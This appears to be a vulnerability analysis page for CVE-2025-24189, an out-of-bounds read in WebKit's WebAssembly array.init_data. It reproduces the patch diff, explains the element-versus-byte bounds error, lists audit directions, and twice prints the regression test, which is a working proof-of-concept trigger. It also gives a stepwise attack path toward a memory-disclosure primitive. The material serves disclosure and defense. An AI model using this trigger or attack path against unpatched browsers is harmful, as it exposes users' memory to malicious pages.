Released January 27, 2025

CVE-2025-24189

CVSS 8.8 severity high CWE-119 vector CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Overview

Impact:

Description: Processing maliciously crafted web content may lead to memory corruption

Researchers: an anonymous researcher

Key insight. The source bound for array.init_data was checked in element units while the copy ran in bytes, so size*elementSize could exceed the validated range; checking the byte extent with overflow detection closes the OOB.

Patch Details

diff --git a/JSTests/wasm/stress/array-init-data-bounds.js b/JSTests/wasm/stress/array-init-data-bounds.js
new file mode 100644
index 000000000000..07fc1612530b
--- /dev/null
+++ b/JSTests/wasm/stress/array-init-data-bounds.js
@@ -0,0 +1,30 @@
+/*
+(module
+  (memory (export "memory") 1)
+  (type $vec (array (mut i32)))
+  (data $data0 "1234")
+
+  (func $main(result (ref null $vec))
+    (local $arr(ref null $vec))
+    (local.set $arr (array.new_default $vec (i32.const 4)))
+
+    (array.init_data $vec $data0
+      (local.get $arr)
+      (i32.const 0)
+      (i32.const -2)
+      (i32.const 1))
+
+    (local.get $arr)
+  )
+
+  (export "main" (func $main))
+)
+ */
+var wasm_code = new Uint8Array([0x00,0x61,0x73,0x6d,0x01,0x00,0x00,0x00,0x01,0x89,0x80,0x80,0x80,0x00,0x02,0x5e,0x7f,0x01,0x60,0x00,0x01,0x63,0x00,0x03,0x82,0x80,0x80,0x80,0x00,0x01,0x01,0x05,0x83,0x80,0x80,0x80,0x00,0x01,0x00,0x01,0x07,0x91,0x80,0x80,0x80,0x00,0x02,0x06,0x6d,0x65,0x6d,0x6f,0x72,0x79,0x02,0x00,0x04,0x6d,0x61,0x69,0x6e,0x00,0x00,0x0c,0x81,0x80,0x80,0x80,0x00,0x01,0x0a,0xa0,0x80,0x80,0x80,0x00,0x01,0x9a,0x80,0x80,0x80,0x00,0x01,0x01,0x63,0x00,0x41,0x04,0xfb,0x07,0x00,0x21,0x00,0x20,0x00,0x41,0x00,0x41,0x7e,0x41,0x01,0xfb,0x12,0x00,0x00,0x20,0x00,0x0b,0x0b,0x87,0x80,0x80,0x80,0x00,0x01,0x01,0x04,0x31,0x32,0x33,0x34]);
+var wasm_module = new WebAssembly.Module(wasm_code);
+var wasm_instance = new WebAssembly.Instance(wasm_module);
+var f = wasm_instance.exports.main;
+try {
+    f();
+} catch {
+}
diff --git a/Source/JavaScriptCore/wasm/WasmOperationsInlines.h b/Source/JavaScriptCore/wasm/WasmOperationsInlines.h
index 757287d4bf3c..3d6816316672 100644
--- a/Source/JavaScriptCore/wasm/WasmOperationsInlines.h
+++ b/Source/JavaScriptCore/wasm/WasmOperationsInlines.h
@@ -440,13 +440,15 @@ inline bool arrayInitData(JSWebAssemblyInstance* instance, EncodedJSValue dst, u
     if (lastDstElementIndexChecked > dstObject->size())
         return false;
 
-    CheckedUint32 lastSrcElementIndexChecked = srcOffset;
-    lastSrcElementIndexChecked += size;
+    size_t elementSize = dstObject->elementType().type.elementSize();
 
-    if (lastSrcElementIndexChecked.hasOverflowed())
+    CheckedUint32 lastSrcByteChecked = size;
+    lastSrcByteChecked *= elementSize;
+    lastSrcByteChecked += srcOffset;
+
+    if (lastSrcByteChecked.hasOverflowed())
         return false;
 
-    size_t elementSize = dstObject->elementType().type.elementSize();
     return instance->copyDataSegment(dstObject, srcDataIndex, srcOffset, size * elementSize, dstObject->data() + dstOffset * elementSize);
 }
 

Background

Advisory: Apple Security Advisory

Attribute Value
CVE CVE-2025-24189
Bugzilla 284332
Component WebKit
Bug Class OOB
Severity medium
Commit 9cee5daeabd138d0…
Advisory Apple Advisory

Terminology

  • WASM GC arrays / array.init_data — WebAssembly garbage-collected arrays; array.init_data copies bytes from a module data segment into an array.
  • element vs byte extent — An array of N elements spans N*elementSize bytes; bounds must be checked in bytes, not element count.
  • CheckedUint32 — An overflow-trapping unsigned type used to validate the multiplication size*elementSize.

Root Cause Analysis

This fixes an out-of-bounds read in the WebAssembly GC array.init_data implementation caused by a source-range bounds check performed in element units rather than bytes. arrayInitData copies size elements from a passed data segment (at srcOffset) into a WASM array whose elements are elementSize bytes. Pre-patch, after checking the destination range, it validated the source only as CheckedUint32 lastSrcElementIndexChecked = srcOffset + size (an element count) for overflow, then performed the copy over size * elementSize bytes (instance->copyDataSegment(…, size * elementSize, …)). Because the overflow/extent check ignored elementSize, the actual byte extent (size * elementSize + srcOffset) could overflow or exceed what was validated, so a large size with a multi-byte element type reads out of bounds from the data segment. The fix computes the byte extent with overflow checking — CheckedUint32 lastSrcByteChecked = size; lastSrcByteChecked = elementSize; lastSrcByteChecked += srcOffset; — and returns false if it overflows, before copying. The restored invariant is that the source byte range (sizeelementSize + srcOffset), not just the element count, is overflow-checked. The regression test invokes array.init_data with size = -2 (0xFFFFFFFE).

Attack Path

1. Define a WASM GC array + data segment

Create a module with a mutable array type and a data segment.

2. Call array.init_data with a huge size

Invoke array.init_data with a size (e.g. 0xFFFFFFFE) whose byte extent size*elementSize overflows the element-count-only check.

3. Read out of bounds

The copy reads size*elementSize bytes from the data segment beyond its bounds into the array.

4. Disclose / corrupt memory

Use the OOB-sourced bytes as an information leak or corruption primitive in the WebContent process.

Impact Assessment

An out-of-bounds read from a WASM data segment in the WebContent process, reachable from any page running WebAssembly. It yields a memory-disclosure primitive (and potential corruption depending on downstream use); the advisory rates it memory corruption. The controllable size makes it a reliable leak building block.

Audit Directions

Same file: element vs byte bounds

Audit arrayInit/arrayCopy/arrayFill and other WasmOperationsInlines routines for bounds checks in element units that feed byte-sized copies (size * elementSize).

Overflow in size math

Grep WASM operations for multiplications by elementSize / stride not wrapped in CheckedUint32 before an access.

Changed Functions

Function File Change Note
arrayInitData Source/JavaScriptCore/wasm/WasmOperationsInlines.h modified Computes the source byte extent (size * elementSize + srcOffset) with CheckedUint32 and returns false on overflow, instead of only checking srcOffset + size in element units.

Regression Test

The fix ships this proof-of-concept / regression test:

diff --git a/JSTests/wasm/stress/array-init-data-bounds.js b/JSTests/wasm/stress/array-init-data-bounds.js
new file mode 100644
index 000000000000..07fc1612530b
--- /dev/null
+++ b/JSTests/wasm/stress/array-init-data-bounds.js
@@ -0,0 +1,30 @@
+/*
+(module
+  (memory (export "memory") 1)
+  (type $vec (array (mut i32)))
+  (data $data0 "1234")
+
+  (func $main(result (ref null $vec))
+    (local $arr(ref null $vec))
+    (local.set $arr (array.new_default $vec (i32.const 4)))
+
+    (array.init_data $vec $data0
+      (local.get $arr)
+      (i32.const 0)
+      (i32.const -2)
+      (i32.const 1))
+
+    (local.get $arr)
+  )
+
+  (export "main" (func $main))
+)
+ */
+var wasm_code = new Uint8Array([0x00,0x61,0x73,0x6d,0x01,0x00,0x00,0x00,0x01,0x89,0x80,0x80,0x80,0x00,0x02,0x5e,0x7f,0x01,0x60,0x00,0x01,0x63,0x00,0x03,0x82,0x80,0x80,0x80,0x00,0x01,0x01,0x05,0x83,0x80,0x80,0x80,0x00,0x01,0x00,0x01,0x07,0x91,0x80,0x80,0x80,0x00,0x02,0x06,0x6d,0x65,0x6d,0x6f,0x72,0x79,0x02,0x00,0x04,0x6d,0x61,0x69,0x6e,0x00,0x00,0x0c,0x81,0x80,0x80,0x80,0x00,0x01,0x0a,0xa0,0x80,0x80,0x80,0x00,0x01,0x9a,0x80,0x80,0x80,0x00,0x01,0x01,0x63,0x00,0x41,0x04,0xfb,0x07,0x00,0x21,0x00,0x20,0x00,0x41,0x00,0x41,0x7e,0x41,0x01,0xfb,0x12,0x00,0x00,0x20,0x00,0x0b,0x0b,0x87,0x80,0x80,0x80,0x00,0x01,0x01,0x04,0x31,0x32,0x33,0x34]);
+var wasm_module = new WebAssembly.Module(wasm_code);
+var wasm_instance = new WebAssembly.Instance(wasm_module);
+var f = wasm_instance.exports.main;
+try {
+    f();
+} catch {
+}